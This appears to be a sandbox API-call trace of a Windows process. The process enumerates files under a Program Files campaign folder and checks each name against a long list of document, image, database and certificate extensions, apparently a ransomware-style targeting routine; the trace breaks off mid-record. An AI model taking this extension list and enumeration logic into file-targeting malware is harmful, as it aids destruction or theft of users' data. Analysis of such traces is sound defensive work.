lstrlenW (lpString=".db") returned 3 [0183.168] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.168] lstrlenW (lpString=".dbf") returned 4 [0183.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dbx") returned 4 [0183.168] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dc3") returned 4 [0183.168] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dcm") returned 4 [0183.168] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dcr") returned 4 [0183.168] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".der") returned 4 [0183.168] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dib") returned 4 [0183.168] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dic") returned 4 [0183.168] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".dif") returned 4 [0183.169] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".divx") returned 5 [0183.169] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.169] lstrlenW (lpString=".djvu") returned 5 [0183.169] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.169] lstrlenW (lpString=".dng") returned 4 [0183.169] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".doc") returned 4 [0183.169] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".docm") returned 5 [0183.169] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.169] lstrlenW (lpString=".docx") returned 5 [0183.169] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.169] lstrlenW (lpString=".dot") returned 4 [0183.169] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".dotm") returned 5 [0183.169] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.169] lstrlenW (lpString=".dotx") returned 5 [0183.169] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.169] lstrlenW (lpString=".dpx") returned 4 [0183.169] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".dqy") returned 4 [0183.169] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".dsn") returned 4 [0183.169] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.169] lstrlenW (lpString=".dt") returned 3 [0183.169] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.169] lstrlenW (lpString=".dtd") returned 4 [0183.170] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.170] lstrlenW (lpString=".dwg") returned 4 [0183.170] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.170] lstrlenW (lpString=".dwt") returned 4 [0183.170] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.170] lstrlenW (lpString=".dx") returned 3 [0183.170] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.170] lstrlenW (lpString=".dxf") returned 4 [0183.170] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.170] lstrlenW (lpString=".edml") returned 5 [0183.170] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.170] lstrlenW (lpString=".efd") returned 4 [0183.170] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.170] lstrlenW (lpString=".elf") returned 4 [0183.170] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".emf") returned 4 [0183.268] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".emz") returned 4 [0183.268] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".epf") returned 4 [0183.268] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".eps") returned 4 [0183.268] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".epsf") returned 5 [0183.268] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.268] lstrlenW (lpString=".epsp") returned 5 [0183.268] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.268] lstrlenW (lpString=".erf") returned 4 [0183.268] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".exr") returned 4 [0183.268] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".f4v") returned 4 [0183.268] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".fido") returned 5 [0183.268] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.268] lstrlenW (lpString=".flm") returned 4 [0183.268] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".flv") returned 4 [0183.268] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".frm") returned 4 [0183.268] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".fxg") returned 4 [0183.268] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".geo") returned 4 [0183.268] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".gif") returned 4 [0183.268] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.268] lstrlenW (lpString=".grs") returned 4 [0183.269] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".gz") returned 3 [0183.269] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.269] lstrlenW (lpString=".h") returned 2 [0183.269] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.269] lstrlenW (lpString=".hdr") returned 4 [0183.269] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".hpp") returned 4 [0183.269] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".hta") returned 4 [0183.269] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".htc") returned 4 [0183.269] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".htm") returned 4 [0183.269] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".html") returned 5 [0183.269] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0183.269] lstrlenW (lpString=".icb") returned 4 [0183.269] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".ics") returned 4 [0183.269] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".iff") returned 4 [0183.269] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".inc") returned 4 [0183.269] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".indd") returned 5 [0183.269] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0183.269] lstrlenW (lpString=".ini") returned 4 [0183.269] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0183.269] lstrlenW (lpString=".iqy") returned 4 [0183.270] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".j2c") returned 4 [0183.270] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".j2k") returned 4 [0183.270] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".java") returned 5 [0183.270] lstrcmpiW (lpString1=".java", lpString2="e.xml") returned -1 [0183.270] lstrlenW (lpString=".jp2") returned 4 [0183.270] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".jpc") returned 4 [0183.270] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".jpe") returned 4 [0183.270] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".jpeg") returned 5 [0183.270] lstrcmpiW (lpString1=".jpeg", lpString2="e.xml") returned -1 [0183.270] lstrlenW (lpString=".jpf") returned 4 [0183.270] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".jpg") returned 4 [0183.270] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".jpx") returned 4 [0183.270] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".js") returned 3 [0183.270] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0183.270] lstrlenW (lpString=".jsf") returned 4 [0183.270] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".json") returned 5 [0183.270] lstrcmpiW (lpString1=".json", lpString2="e.xml") returned -1 [0183.270] lstrlenW (lpString=".jsp") returned 4 [0183.270] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".kdc") returned 4 [0183.270] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".kmz") returned 4 [0183.270] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0183.270] lstrlenW (lpString=".kwm") returned 4 [0183.271] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".lasso") returned 6 [0183.271] lstrcmpiW (lpString1=".lasso", lpString2="de.xml") returned -1 [0183.271] lstrlenW (lpString=".lbi") returned 4 [0183.271] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".lgf") returned 4 [0183.271] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".lgp") returned 4 [0183.271] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".log") returned 4 [0183.271] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".m1v") returned 4 [0183.271] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".m4a") returned 4 [0183.271] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".m4v") returned 4 [0183.271] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".max") returned 4 [0183.271] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".md") returned 3 [0183.271] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0183.271] lstrlenW (lpString=".mda") returned 4 [0183.271] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".mdb") returned 4 [0183.271] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".mde") returned 4 [0183.271] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0183.271] lstrlenW (lpString=".mdf") returned 4 [0183.271] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mdw") returned 4 [0183.272] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mef") returned 4 [0183.272] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mft") returned 4 [0183.272] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mfw") returned 4 [0183.272] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mht") returned 4 [0183.272] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mhtml") returned 6 [0183.272] lstrcmpiW (lpString1=".mhtml", lpString2="de.xml") returned -1 [0183.272] lstrlenW (lpString=".mka") returned 4 [0183.272] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mkidx") returned 6 [0183.272] lstrcmpiW (lpString1=".mkidx", lpString2="de.xml") returned -1 [0183.272] lstrlenW (lpString=".mkv") returned 4 [0183.272] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mos") returned 4 [0183.272] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mov") returned 4 [0183.272] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mp3") returned 4 [0183.272] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mp4") returned 4 [0183.272] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mpeg") returned 5 [0183.272] lstrcmpiW (lpString1=".mpeg", lpString2="e.xml") returned -1 [0183.272] lstrlenW (lpString=".mpg") returned 4 [0183.272] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mpv") returned 4 [0183.272] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0183.272] lstrlenW (lpString=".mrw") returned 4 [0183.272] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".msg") returned 4 [0183.273] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".mxl") returned 4 [0183.273] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".myd") returned 4 [0183.273] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".myi") returned 4 [0183.273] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".nef") returned 4 [0183.273] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".nrw") returned 4 [0183.273] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".obj") returned 4 [0183.273] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".odb") returned 4 [0183.273] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".odc") returned 4 [0183.273] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".odm") returned 4 [0183.273] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".odp") returned 4 [0183.273] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".ods") returned 4 [0183.273] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".oft") returned 4 [0183.273] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".one") returned 4 [0183.273] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0183.273] lstrlenW (lpString=".onepkg") returned 7 [0183.273] lstrcmpiW (lpString1=".onepkg", lpString2="ade.xml") returned -1 [0183.273] lstrlenW (lpString=".onetoc2") returned 8 [0183.273] lstrcmpiW (lpString1=".onetoc2", lpString2="rade.xml") returned -1 [0183.273] lstrlenW (lpString=".opt") returned 4 [0183.273] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".oqy") returned 4 [0183.274] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".orf") returned 4 [0183.274] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".p12") returned 4 [0183.274] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".p7b") returned 4 [0183.274] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".p7c") returned 4 [0183.274] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pam") returned 4 [0183.274] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pbm") returned 4 [0183.274] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pct") returned 4 [0183.274] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pcx") returned 4 [0183.274] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pdd") returned 4 [0183.274] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pdf") returned 4 [0183.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pdp") returned 4 [0183.274] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pef") returned 4 [0183.274] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pem") returned 4 [0183.274] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pff") returned 4 [0183.274] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pfm") returned 4 [0183.274] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pfx") returned 4 [0183.274] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0183.274] lstrlenW (lpString=".pgm") returned 4 [0183.275] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0183.275] lstrlenW (lpString=".php") returned 4 [0183.275] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0183.275] lstrlenW (lpString=".php3") returned 5 [0183.275] lstrcmpiW (lpString1=".php3", lpString2="e.xml") returned -1 [0183.275] lstrlenW (lpString=".php4") returned 5 [0183.275] lstrcmpiW (lpString1=".php4", lpString2="e.xml") returned -1 [0183.275] lstrlenW (lpString=".php5") returned 5 [0183.275] lstrcmpiW (lpString1=".php5", lpString2="e.xml") returned -1 [0183.275] lstrlenW (lpString=".phtml") returned 6 [0183.275] lstrcmpiW (lpString1=".phtml", lpString2="de.xml") returned -1 [0183.275] lstrlenW (lpString=".pict") returned 5 [0183.275] lstrcmpiW (lpString1=".pict", lpString2="e.xml") returned -1 [0183.275] lstrlenW (lpString=".pl") returned 3 [0183.275] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0183.275] lstrlenW (lpString=".pls") returned 4 [0183.275] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0183.275] lstrlenW (lpString=".pm") returned 3 [0183.275] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0183.275] lstrlenW (lpString=".png") returned 4 [0183.275] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0183.275] lstrlenW (lpString=".pnm") returned 4 [0183.275] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0183.275] lstrlenW (lpString=".pot") returned 4 [0183.275] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0183.275] lstrlenW (lpString=".potm") returned 5 [0183.275] lstrcmpiW (lpString1=".potm", lpString2="e.xml") returned -1 [0183.275] lstrlenW (lpString=".potx") returned 5 [0183.275] lstrcmpiW (lpString1=".potx", lpString2="e.xml") returned -1 [0183.275] lstrlenW (lpString=".ppa") returned 4 [0183.275] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0183.275] lstrlenW (lpString=".ppam") returned 5 [0183.275] lstrcmpiW (lpString1=".ppam", lpString2="e.xml") returned -1 [0183.275] lstrlenW (lpString=".ppm") returned 4 [0183.276] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".pps") returned 4 [0183.276] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".ppsm") returned 5 [0183.276] lstrcmpiW (lpString1=".ppsm", lpString2="e.xml") returned -1 [0183.276] lstrlenW (lpString=".ppt") returned 4 [0183.276] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".pptm") returned 5 [0183.276] lstrcmpiW (lpString1=".pptm", lpString2="e.xml") returned -1 [0183.276] lstrlenW (lpString=".pptx") returned 5 [0183.276] lstrcmpiW (lpString1=".pptx", lpString2="e.xml") returned -1 [0183.276] lstrlenW (lpString=".prn") returned 4 [0183.276] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".ps") returned 3 [0183.276] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0183.276] lstrlenW (lpString=".psb") returned 4 [0183.276] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".psd") returned 4 [0183.276] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".pst") returned 4 [0183.276] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".ptx") returned 4 [0183.276] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".pub") returned 4 [0183.276] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".pwm") returned 4 [0183.276] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0183.276] lstrlenW (lpString=".pxr") returned 4 [0183.277] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0183.277] lstrlenW (lpString=".py") returned 3 [0183.277] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0183.277] lstrlenW (lpString=".qt") returned 3 [0183.277] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0183.277] lstrlenW (lpString=".r3d") returned 4 [0183.277] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0183.277] lstrlenW (lpString=".raf") returned 4 [0183.277] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0183.277] lstrlenW (lpString=".rar") returned 4 [0183.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.277] lstrlenW (lpString=".raw") returned 4 [0183.277] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0183.278] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.278] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.278] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.278] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0183.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.279] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0183.279] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.279] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484bd8 [0183.282] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.282] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.282] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.282] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", 